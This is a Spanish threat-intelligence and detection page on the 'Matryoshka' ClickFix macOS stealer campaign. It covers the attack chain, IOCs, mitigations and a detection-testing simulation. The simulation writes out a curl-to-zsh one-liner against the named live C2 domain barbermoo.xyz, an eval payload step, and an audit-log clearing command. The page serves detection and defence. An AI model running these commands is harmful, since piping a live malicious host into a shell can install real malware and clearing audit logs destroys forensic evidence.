Desempaquetando la Nueva Variante “Matryoshka” ClickFix: Campaña de Typosquatting Entrega un Stealer para macOS
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Una nueva operación de malware macOS denominada Matryoshka abusa de un dominio con errores tipográficos para engañar socialmente a las víctimas y que peguen un comando malicioso en Terminal. El comando de una línea obtiene un script codificado que se decodifica en la memoria y, finalmente, despliega un ladrón basado en AppleScript dirigido a las credenciales del navegador y billeteras de criptomonedas. El instalador se ejecuta silenciosamente en segundo plano, suprime la salida visible y sube los datos recolectados usando un encabezado API personalizado. La campaña es impulsada por la interacción del usuario en lugar de por una explotación de software.
Investigación
Los analistas de Intego reconstruyeron la cadena de extremo a extremo: un dominio con error tipográfico redirige a los usuarios a una fase de shell ligera alojada en barbermoo.xyz. Ese script realiza decodificación Base64 + gzip en memoria, ejecuta un cargador que recupera la carga útil de AppleScript y prepara los resultados de la colección en /tmp/osalogging.zip antes de la exfiltración. El AppleScript intenta robar credenciales presentando un mensaje falso de Preferencias del Sistema, y también apunta a herramientas de criptomonedas reemplazando o parcheando paquetes de aplicaciones de Ledger Live y Trezor Suite.
Mitigación
La concienciación del usuario es el control principal: no pegar comandos de Terminal desde sitios web. Bloquear y monitorear los dominios de error tipográfico identificados y relacionados con C2, así como la infraestructura de distribución de tráfico que apoya la entrega. Aplicar listas de aplicaciones permitidas y usar protección de endpoints que pueda detectar ejecuciones sospechosas de osascript y patrones de recuperación anómalos basados en curl.
Respuesta
Alertar sobre curl iniciado desde Terminal canalizado a zsh u osascript, monitorear la creación de /tmp/osalogging.zip, y marcar cambios inesperados a los paquetes de Ledger Live y Trezor Suite. Aplicar filtrado de DNS para barbermoo.xyz, comparisions.org y macfilesendstream.com. Investigar cualquier proceso que se inicie silenciosamente en segundo plano inmediatamente después de la ejecución de un comando impulsado por curl.
«graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ccffcc %% Nodes action_initial_access[«<b>Acción</b> – <b>T1204.001 Ejecución de Usuario Enlace Malicioso</b><br/><b>Descripción</b>: La víctima visita un dominio con error tipográfico y ve un comando de copiar-pegar.»] class action_initial_access action tool_curl[«<b>Herramienta</b> – <b>Nombre</b>: curl<br/><b>Descripción</b>: Transfiere datos de una URL a la máquina de la víctima.»] class tool_curl tool process_fetch_rogue[«<b>Proceso</b> – <b>Nombre</b>: fetch_rogue.sh<br/><b>Comando</b>: curl u2026 | sh»] class process_fetch_rogue process action_execution[«<b>Acción</b> – <b>T1059.004 Shell de Unix</b><br/><b>Descripción</b>: Ejecuta comandos de shell de Unix para descargar y ejecutar rogue.sh.»] class action_execution action action_obfuscation[«<b>Acción</b> – <b>T1027.009 Cargas Utilizadas</b><br/><b>Descripción</b>: rogue.sh contiene una carga útil base64‑gzip decodificada directamente en memoria.»] class action_obfuscation action action_indirect_exec[«<b>Acción</b> – <b>T1202 Ejecución Indirecta de Comando</b><br/><b>Descripción</b>: El cargador se ejecuta en segundo plano, se desacopla del terminal y suprime la entrada/salida.»] class action_indirect_exec action tool_applescript[«<b>Herramienta</b> – <b>Nombre</b>: AppleScript<br/><b>Descripción</b>: Muestra un diálogo falso de Preferencias del Sistema para captar la entrada del usuario.»] class tool_applescript tool action_gui_capture[«<b>Acción</b> – <b>T1056.002 Captura de Entrada GUI</b><br/><b>Descripción</b>: El diálogo de AppleScript captura contraseñas ingresadas por el usuario.»] class action_gui_capture action action_cred_harvest[«<b>Acción</b> – <b>T1056 Captura de Entrada</b><br/><b>Descripción</b>: El script recolecta credenciales almacenadas del navegador después de la interacción del usuario.»] class action_cred_harvest action action_masquerade[«<b>Acción</b> – <b>T1036 Suplantación</b><br/><b>Descripción</b>: Reemplaza y vuelvesigna los binarios de Ledger Live y Trezor Suite con versiones maliciosas.»] class action_masquerade action action_stage_data[«<b>Acción</b> – <b>T1074.001 Preparación de Datos Locales</b><br/><b>Descripción</b>: Prepara archivos robados en /tmp/osalogging.zip antes de la exfiltración.»] class action_stage_data action action_c2_comm[«<b>Acción</b> – <b>T1071.001 Protocolos Web</b><br/><b>Descripción</b>: Se comunica con el servidor C2 usando solicitudes HTTP(S) y un encabezado APIu2011key personalizado.»] class action_c2_comm action action_exfil_over_c2[«<b>Acción</b> – <b>T1041 Exfiltración a Través del Canal C2</b><br/><b>Descripción</b>: Sube el archivo zip preparado al servidor C2 mediante una solicitud POST.»] class action_exfil_over_c2 action action_auto_exfil[«<b>Acción</b> – <b>T1020 Exfiltración Automática</b><br/><b>Descripción</b>: Los datos se envían automáticamente al C2 sin interacción adicional del usuario.»] class action_auto_exfil action %% Connections action_initial_access u002du002d>|usa| tool_curl tool_curl u002du002d>|descarga| process_fetch_rogue process_fetch_rogue u002du002d>|ejecuta| action_execution action_execution u002du002d>|conduce a| action_obfuscation action_obfuscation u002du002d>|habilita| action_indirect_exec action_indirect_exec u002du002d>|usa| tool_applescript tool_applescript u002du002d>|desencadena| action_gui_capture action_gui_capture u002du002d>|captura| action_cred_harvest action_cred_harvest u002du002d>|alimenta| action_masquerade action_masquerade u002du002d>|almacena| action_stage_data action_stage_data u002du002d>|transfiere| action_c2_comm action_c2_comm u002du002d>|exfiltra| action_exfil_over_c2 action_exfil_over_c2 u002du002d>|automatiza| action_auto_exfil %% Class assignments class action_initial_access,action_execution,action_obfuscation,action_indirect_exec,action_gui_capture,action_cred_harvest,action_masquerade,action_stage_data,action_c2_comm,action_exfil_over_c2,action_auto_exfil action class tool_curl,tool_applescript tool class process_fetch_rogue process «
Flujo de Ataque
Detecciones
Posible Manipulación de Cadenas Codificadas en Base64 (vía línea de comandos)
Ver
Archivo Fue Creado en Carpeta Temporal de MacOS (vía evento de archivo)
Ver
Comando y Control Sospechoso por Solicitud DNS de Dominio de Nivel Superior Inusual (vía dns)
Ver
Intento de Ejecución de Curl Sospechoso [MacOS] (vía línea de comandos)
Ver
Detección de Ejecución de Comando de Terminal Variante Matryoshka [Creación de Proceso Linux]
Ver
Ejecución de Simulación
Requisito previo: La Verificación de Telemetría y Línea de Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
Un adversario que ya ha comprometido una cuenta de macOS con privilegios bajos quiere ejecutar una carga útil remota sin escribir archivos en el disco. Elaboran un comando de una línea que obtiene un script codificado en base‑64 de un dominio de C2 malicioso (barbermoo.xyz), lo canaliza directamente azsh, y finalmente usaevalpara ejecutar la carga útil en memoria. Este enfoque se alinea con T1059.004 (shell de Unix) y T1027 (ofuscación) y es exactamente lo que la regla de Sigma está observando.-
El atacante obtiene un token único (
ABCD1234) que vincula la solicitud a su campaña. -
Ejecutan el siguiente comando de una línea en una sesión de Terminal:
curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh -
Dentro del script obtenido, una variable
payloadcontiene una carga útil maliciosa codificada en base64, que es ejecutada a través de:eval "$payload"
Esto genera dos entradas de línea de comando distintas que la regla coincide:
curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsheval "$payload"
-
-
Script de Prueba de Regresión:
El script a continuación reproduce el comportamiento malicioso en un entorno de laboratorio controlado. Ejecutarlo solo en un host de prueba macOS. Registra su propia ejecución en el registro de auditoría del sistema, satisfaciendo la regla de detección.#!/usr/bin/env bash # ------------------------------------------------- # Simulación de Variante Matryoshka – activa la regla Sigma # ------------------------------------------------- set -euo pipefail # --- Configuración ------------------------------------------------- TOKEN="ABCD1234" # Reemplazar con cualquier cadena para simular unicidad MALICIOUS_URL="https://barbermoo.xyz/curl/${TOKEN}" # Una carga útil pequeña e inofensiva para demostración – eco de un mensaje (reemplazar con la carga útil real en prueba de equipo rojo) PAYLOAD="echo 'Carga útil maliciosa ejecutada'" # --- Paso 1: Obtener y canalizar a zsh (coincide con el primer patrón de detección) --- curl -fsSL "${MALICIOUS_URL}" | zsh # --- Paso 2: Simular eval en memoria (coincide con el segundo patrón) ------------- # En un ataque real, la carga útil estaría codificada en base64 y decodificada al vuelo. eval "${PAYLOAD}" -
Comandos de Limpieza: Remover cualquier proceso transitorio y restaurar el estado del shell.
# Matar cualquier proceso zsh generado por la prueba (si todavía se está ejecutando) pkill -f "zsh -c .*barbermoo.xyz" # Opcionalmente limpiar el registro de auditoría de las entradas de prueba (requiere admin) sudo audit -c # Vacía el búfer de auditoría (demuestra T1070.010)